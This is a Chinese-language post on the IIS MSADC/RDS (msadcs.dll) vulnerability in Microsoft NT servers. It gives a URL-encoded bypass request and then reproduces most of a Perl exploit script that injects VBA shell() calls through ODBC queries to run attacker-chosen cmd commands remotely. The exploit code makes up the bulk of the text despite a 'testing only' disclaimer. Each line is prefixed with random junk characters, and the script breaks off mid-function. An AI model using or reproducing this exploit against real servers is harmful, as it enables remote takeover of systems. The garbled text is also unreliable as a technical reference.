IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]a=n(`l? $^K12Wcp- 涉及程序:
Y|X!da/ Microsoft NT server
(&o|}"kRq w ]%EJ|' 描述:
[8 I*lsS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
WALK@0E '&LH9r 详细:
}5b,u6 如果你没有时间读详细内容的话,就删除:
KA/~q"N c:\Program Files\Common Files\System\Msadc\msadcs.dll
(C9{|T+h 有关的安全问题就没有了。
+,q#'wSQG ~rfUqM]I 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]broU%#" F2)\%HR 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|U:VkiKt 关于利用ODBC远程漏洞的描述,请参看:
{ POfT
m} Y@ l>4q") http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '/U% -/@ VX6M4<8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
'hNRIM1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp V*,6_-^l *KYh_i 这里不再论述。
uY;7&Lw
y1 )u?^w 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
cgV5{|P 1lLXu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-IE=?23Do? 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
"2_nN]%u- WF_24Mw Hfo/\\ #将下面这段保存为txt文件,然后: "perl -x 文件名"
[1Q: {>h,@ #!perl
6[T)Q ^0` #
U6IvN@
g # MSADC/RDS 'usage' (aka exploit) script
~P,@">} #
k
& 6$S9 # by rain.forest.puppy
2{A/Fbk #
X,`^z,M%I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mV;)V8' # beta test and find errors!
GhC%32F ;s^F:O use Socket; use Getopt::Std;
^!7|B3` getopts("e:vd:h:XR", \%args);
vSv:!5* f>[!Zi* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
QD*\zB 5?HoCz]l if (!defined $args{h} && !defined $args{R}) {
z^Y4:^L~I print qq~
i*61i0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
Tqm)- |[ -h <host> = host you want to scan (ip or domain)
jRBKy8?[C -d <seconds> = delay between calls, default 1 second
Ih_=yk -X = dump Index Server path table, if available
)YPut. -v = verbose
jmr1e).]; -e = external dictionary file for step 5
+5N09$f;R 1Gp|_8 Or a -R will resume a command session
5e
>qBw8t 1#V&'A ~; exit;}
oTb4 T= f-5}`)`.+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yv(\5)XF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'/GZ/$a_l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0czEA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BDcA_=^R& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+i(;@%
kv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+kM*BCPYE JL=s=9N;3 if (!defined $args{R}){ $ret = &has_msadc;
8z`Ne(h; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
df8aM<&m3 vq8&IL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X8~gLdv8 . "cmd /c ";
I,7n-G_' $in=<STDIN>; chomp $in;
oLc $command="cmd /c " . $in ;
v"V? ~+&Z4CYb if (defined $args{R}) {&load; exit;}
n_S)9C'= pP*`b<| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%0lJ(hm &try_btcustmr;
yL"pzD`[H 9V?:!%J print "\nStep 2: Trying to make our own DSN...";
,K8(D<{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=P`l+k3 yr
q){W print "\nStep 3: Trying known DSNs...";
+<7a$/L?4 &known_dsn;
(R^Ca7F ;#n+$Q#: print "\nStep 4: Trying known .mdbs...";
KB a
&known_mdb;
+7$zL;ph=n e)kVS}e? if (defined $args{e}){
vFH1hm print "\nStep 5: Trying dictionary of DSN names...";
P3+?gW' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Qe4"a*l-r "a]Ff&T- print "Sorry Charley...maybe next time?\n";
f1RX`rXf exit;
JAS!eF ;2Za]%' ##############################################################################
*v0}S5^/" 89l{h8R sub sendraw { # ripped and modded from whisker
T]y^PT<8? sleep($delay); # it's a DoS on the server! At least on mine...
C^9bur/ my ($pstr)=@_;
la*c/* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(nt= die("Socket problems\n");
q|xic>. if(connect(S,pack "SnA4x8",2,80,$target)){
)kt,E}609 select(S); $|=1;
`dm}|$X| print $pstr; my @in=<S>;
$?dutbE select(STDOUT); close(S);
KO&oT#S return @in;
]V.0%Ccw;. } else { die("Can't connect...\n"); }}
DS>qth XFrgnnt ##############################################################################
">'`{mXew J/ZC<dkYQ sub make_header { # make the HTTP request
!/6KQdF my $msadc=<<EOT
'/GZ,~q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
O`2hTY\ User-Agent: ACTIVEDATA
#_4JTGJ Host: $ip
2R`/Oox Content-Length: $clen
@>Ul0&Mf? Connection: Keep-Alive
zH1:kko IWP[?U= ADCClientVersion:01.06
=J827c{. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D",~? &46Ro|XE` --!ADM!ROX!YOUR!WORLD!
PtT$#>hx] Content-Type: application/x-varg
)d"s6i Content-Length: $reqlen
` EgO&;1D) `ILO]+`5 EOT
+i6XCN1= ; $msadc=~s/\n/\r\n/g;
&dvL` return $msadc;}
K0z@gWGE mFeoeI,Jv ##############################################################################
U(u$5 V0a)9\x(\ sub make_req { # make the RDS request
_%6Vcy my ($switch, $p1, $p2)=@_;
d ~3GEK my $req=""; my $t1, $t2, $query, $dsn;
N
Uq'96{Y XdGA8%^cY if ($switch==1){ # this is the btcustmr.mdb query
DgRA\[c $query="Select * from Customers where City=" . make_shell();
G8Sx;Xi $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
h0n,WU/Kw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)Qixde>]p [;8vO=Z elsif ($switch==2){ # this is general make table query
D_-<V,3t $query="create table AZZ (B int, C varchar(10))";
A Z& ]@Ao $dsn="$p1";}
5Q.z#]Lg <o.?T*Q9 elsif ($switch==3){ # this is general exploit table query
HzD=F3\r| $query="select * from AZZ where C=" . make_shell();
BZ-)XF'4 $dsn="$p1";}
xH/Pw?^ u|uPvbM elsif ($switch==4){ # attempt to hork file info from index server
(H-Y-Lk+ $query="select path from scope()";
\ws^L,h $dsn="Provider=MSIDXS;";}
KvfZj /%5X:*:H elsif ($switch==5){ # bad query
IiRII)
$query="select";
{wyf>L0j $dsn="$p1";}
8
!+eq5S3 oCR-KR>{Q $t1= make_unicode($query);
Sn~|<Vf $t2= make_unicode($dsn);
PXJ`<XM $req = "\x02\x00\x03\x00";
+oe%bk|A $req.= "\x08\x00" . pack ("S1", length($t1));
84UI)nE:Q $req.= "\x00\x00" . $t1 ;
a~"<lzu|$ $req.= "\x08\x00" . pack ("S1", length($t2));
*d;D~"E<@ $req.= "\x00\x00" . $t2 ;
}~3 %KHT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
R8YA"(j!L return $req;}
2[Q/|D}}| L2m~ GnP|? ##############################################################################
u=9)A9 a<ztA:xt|1 sub make_shell { # this makes the shell() statement
+\@WOs return "'|shell(\"$command\")|'";}
;yVT:qd
% Ij}k>qO/2 ##############################################################################
+/Q?<*[ f]JLFg7 sub make_unicode { # quick little function to convert to unicode
t_Rpeav my ($in)=@_; my $out;
/pOK4" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*>f-UNV return $out;}
KWB;*P
C^ #I|jFn9 ##############################################################################
b+3QqbJ[F I]OVzM sub rdo_success { # checks for RDO return success (this is kludge)
E]26a,^L my (@in) = @_; my $base=content_start(@in);
b+qdl`Vd if($in[$base]=~/multipart\/mixed/){
A-XWG9nL return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t:<dirw,o return 0;}
f*Dy>sw |)\{Rufb ##############################################################################
4_B1qN
BO3%p sub make_dsn { # this makes a DSN for us
KW5u.phv my @drives=("c","d","e","f");
L4C_qb k;: print "\nMaking DSN: ";
:w5p#+/,P foreach $drive (@drives) {
Rr0@F`"R print "$drive: ";
r:*0)UZlD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}xE}I<M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=9@t6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7)y9%-} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D%=FCmL5@= return 0 if $2 eq "404"; # not found/doesn't exist
g<"k\qs7 if($2 eq "200") {
e$+/;MRq foreach $line (@results) {
39zwPoN> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Hjtn*^fo^ } return 0;}
,F)9{ <r] t)hAD_sf ##############################################################################
:Kt'Fm,s? hB:}0@l6p= sub verify_exists {
9V5d=^ my ($page)=@_;
K)d]3V! my @results=sendraw("GET $page HTTP/1.0\n\n");
<R>%DD=v^ return $results[0];}
uh_2yw_ X_nxC6[m% ##############################################################################
Y']D_\y =
rLL5< sub try_btcustmr {
6rD
Oa~<